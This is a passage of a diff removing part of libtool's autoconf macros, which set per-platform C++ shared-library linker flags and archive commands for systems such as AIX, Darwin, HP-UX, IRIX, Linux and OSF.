- if test "$aix_use_runtimelinking" = yes; then
- shared_flag="$shared_flag "'${wl}-G'
- fi
- else
- # not using gcc
- if test "$host_cpu" = ia64; then
- # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release
- # chokes on -Wl,-G. The following line is correct:
- shared_flag='-G'
- else
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag='${wl}-G'
- else
- shared_flag='${wl}-bM:SRE'
- fi
- fi
- fi
-
- # It seems that -bexpall does not export symbols beginning with
- # underscore (_), so it is better to generate a list of symbols to export.
- _LT_AC_TAGVAR(always_export_symbols, $1)=yes
- if test "$aix_use_runtimelinking" = yes; then
- # Warning - without using the other runtime loading flags (-brtl),
- # -berok will link without error, but may produce a broken library.
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='-berok'
- # Determine the default libpath from the value encoded in an empty executable.
- _LT_AC_SYS_LIBPATH_AIX
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
-
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
- else
- if test "$host_cpu" = ia64; then
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R $libdir:/usr/lib:/lib'
- _LT_AC_TAGVAR(allow_undefined_flag, $1)="-z nodefs"
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols"
- else
- # Determine the default libpath from the value encoded in an empty executable.
- _LT_AC_SYS_LIBPATH_AIX
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
- # -berok will link without error, but may produce a broken library.
- _LT_AC_TAGVAR(no_undefined_flag, $1)=' ${wl}-bernotok'
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-berok'
- # Exported symbols can be pulled into shared objects from archives
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='$convenience'
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=yes
- # This is similar to how AIX traditionally builds its shared libraries.
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname'
- fi
- fi
- ;;
-
- beos*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported
- # Joseph Beckenbach <jrb3@best.com> says some releases of gcc
- # support --undefined. This deserves some investigation. FIXME
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- else
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
-
- chorus*)
- case $cc_basename in
- *)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- esac
- ;;
-
- cygwin* | mingw* | pw32*)
- # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meaningless,
- # as there is no search path for DLLs.
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported
- _LT_AC_TAGVAR(always_export_symbols, $1)=no
- _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
-
- if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- # If the export-symbols file already is a .def file (1st line
- # is EXPORTS), use it as is; otherwise, prepend...
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
- cp $export_symbols $output_objdir/$soname.def;
- else
- echo EXPORTS > $output_objdir/$soname.def;
- cat $export_symbols >> $output_objdir/$soname.def;
- fi~
- $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- else
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
- darwin* | rhapsody*)
- case $host_os in
- rhapsody* | darwin1.[[012]])
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}suppress'
- ;;
- *) # Darwin 1.3 on
- if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- else
- case ${MACOSX_DEPLOYMENT_TARGET} in
- 10.[[012]])
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- ;;
- 10.*)
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}dynamic_lookup'
- ;;
- esac
- fi
- ;;
- esac
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
- _LT_AC_TAGVAR(hardcode_direct, $1)=no
- _LT_AC_TAGVAR(hardcode_automatic, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=unsupported
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=''
- _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
-
- if test "$GXX" = yes ; then
- lt_int_apple_cc_single_mod=no
- output_verbose_link_cmd='echo'
- if $CC -dumpspecs 2>&1 | $EGREP 'single_module' >/dev/null ; then
- lt_int_apple_cc_single_mod=yes
- fi
- if test "X$lt_int_apple_cc_single_mod" = Xyes ; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -dynamiclib -single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
- else
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -r -keep_private_externs -nostdlib -o ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefined_flag -o $lib ${lib}-master.o $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
- fi
- _LT_AC_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- if test "X$lt_int_apple_cc_single_mod" = Xyes ; then
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib -single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- else
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -r -keep_private_externs -nostdlib -o ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefined_flag -o $lib ${lib}-master.o $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- fi
- _LT_AC_TAGVAR(module_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- else
- case $cc_basename in
- xlc*)
- output_verbose_link_cmd='echo'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -qmkshrobj ${wl}-single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring'
- _LT_AC_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj ${wl}-single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- _LT_AC_TAGVAR(module_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- ;;
- *)
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- esac
- fi
- ;;
-
- dgux*)
- case $cc_basename in
- ec++*)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- ghcx*)
- # Green Hills C++ Compiler
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- esac
- ;;
- freebsd[[12]]*)
- # C++ shared libraries reported to be fairly broken before switch to ELF
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- freebsd-elf*)
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
- ;;
- freebsd* | kfreebsd*-gnu | dragonfly*)
- # FreeBSD 3 and later use GNU C++ and GNU ld with standard ELF
- # conventions
- _LT_AC_TAGVAR(ld_shlibs, $1)=yes
- ;;
- gnu*)
- ;;
- hpux9*)
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes # Not in the search PATH,
- # but as the default
- # location of the library.
-
- case $cc_basename in
- CC*)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- aCC*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/$soname~$CC -b ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | grep "[[-]]L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- *)
- if test "$GXX" = yes; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/$soname~$CC -shared -nostdlib -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
- esac
- ;;
- hpux10*|hpux11*)
- if test $with_gnu_ld = no; then
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
-
- case $host_cpu in
- hppa*64*|ia64*)
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)='+b $libdir'
- ;;
- *)
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
- ;;
- esac
- fi
- case $host_cpu in
- hppa*64*|ia64*)
- _LT_AC_TAGVAR(hardcode_direct, $1)=no
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
- *)
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes # Not in the search PATH,
- # but as the default
- # location of the library.
- ;;
- esac
-
- case $cc_basename in
- CC*)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- aCC*)
- case $host_cpu in
- hppa*64*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- ia64*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- *)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- esac
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | grep "\-L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- *)
- if test "$GXX" = yes; then
- if test $with_gnu_ld = no; then
- case $host_cpu in
- hppa*64*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- ia64*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- *)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- esac
- fi
- else
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
- esac
- ;;
- interix3*)
- _LT_AC_TAGVAR(hardcode_direct, $1)=no
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
- # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc.
- # Instead, shared libraries are loaded at an image base (0x10000000 by
- # default) and relocated if they conflict, which is a slow very memory
- # consuming and fragmenting process. To avoid this, we pick a random,
- # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link
- # time. Moving up from 0x10000000 also allows more sbrk(2) space.
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- ;;
- irix5* | irix6*)
- case $cc_basename in
- CC*)
- # SGI C++
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -all -multigot $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
-
- # Archives containing C++ object files must be created using
- # "CC -ar", where "CC" is the IRIX C++ compiler. This is
- # necessary to make sure instantiated templates are included
- # in the archive.
- _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -ar -WR,-u -o $oldlib $oldobjs'
- ;;
- *)
- if test "$GXX" = yes; then
- if test "$with_gnu_ld" = no; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` -o $lib'
- fi
- fi
- _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
- ;;
- esac
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
- ;;
- linux*)
- case $cc_basename in
- KCC*)
- # Kuck and Associates, Inc. (KAI) C++ Compiler
-
- # KCC will only create a shared library if the output file
- # ends with ".so" (or ".sl" for HP-UX), so rename the library
- # to its proper name (with version) after linking.
- _LT_AC_TAGVAR(archive_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib ${wl}-retain-symbols-file,$export_symbols; mv \$templib $lib'
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`$CC $CFLAGS -v conftest.$objext -o libconftest$shared_ext 2>&1 | grep "ld"`; rm -f libconftest$shared_ext; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
-
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}--rpath,$libdir'
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic'
-
- # Archives containing C++ object files must be created using
- # "CC -Bstatic", where "CC" is the KAI C++ compiler.
- _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -Bstatic -o $oldlib $oldobjs'
- ;;
- icpc*)
- # Intel C++
- with_gnu_ld=yes
- # version 8.0 and above of icpc choke on multiply defined symbols
- # if we add $predep_objects and $postdep_objects, however 7.1 and
- # earlier do not add the objects themselves.
- case `$CC -V 2>&1` in
- *"Version 7."*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- ;;
- *) # Version 8.0 or newer
- tmp_idyn=
- case $host_cpu in
- ia64*) tmp_idyn=' -i_dynamic';;
- esac
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared'"$tmp_idyn"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared'"$tmp_idyn"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- ;;
- esac
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic'
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive$convenience ${wl}--no-whole-archive'
- ;;
- pgCC*)
- # Portland Group C++ compiler
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname ${wl}-retain-symbols-file ${wl}$export_symbols -o $lib'
-
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}--rpath ${wl}$libdir'
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic'
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- ;;
- cxx*)
- # Compaq C++
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib ${wl}-retain-symbols-file $wl$export_symbols'
-
- runpath_var=LD_RUN_PATH
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld .*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- esac
- ;;
- lynxos*)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- m88k*)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- mvs*)
- case $cc_basename in
- cxx*)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- esac
- ;;
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $predep_objects $libobjs $deplibs $postdep_objects $linker_flags'
- wlarc=
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- fi
- # Workaround some broken pre-1.5 toolchains
- output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep conftest.$objext | $SED -e "s:-lgcc -lc -lgcc::"'
- ;;
- openbsd2*)
- # C++ shared libraries are fairly broken
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- openbsd*)
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-retain-symbols-file,$export_symbols -o $lib'
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
- fi
- output_verbose_link_cmd='echo'
- ;;
- osf3*)
- case $cc_basename in
- KCC*)
- # Kuck and Associates, Inc. (KAI) C++ Compiler
-
- # KCC will only create a shared library if the output file
- # ends with ".so" (or ".sl" for HP-UX), so rename the library
- # to its proper name (with version) after linking.
- _LT_AC_TAGVAR(archive_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib'
-
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
-
- # Archives containing C++ object files must be created using
- # "CC -Bstatic", where "CC" is the KAI C++ compiler.
- _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -Bstatic -o $oldlib $oldobjs'
-
- ;;
- RCC*)
- # Rational C++ 2.4.1
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- cxx*)
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $soname `test -n "$verstring" && echo ${wl}-set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
-
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld" | grep -v "ld:"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- *)
- if test "$GXX" = yes && test "$with_gnu_ld" = no; then
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"'
-
- else
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
- esac
- ;;
- osf4* | osf5*)
- case $cc_basename in
- KCC*)
- # Kuck and Associates, Inc. (KAI) C++ Compiler
-
- # KCC will only create a shared library if the output file
- # ends with ".so" (or ".sl" for HP-UX), so rename the library
- # to its proper name (with version) after linking.
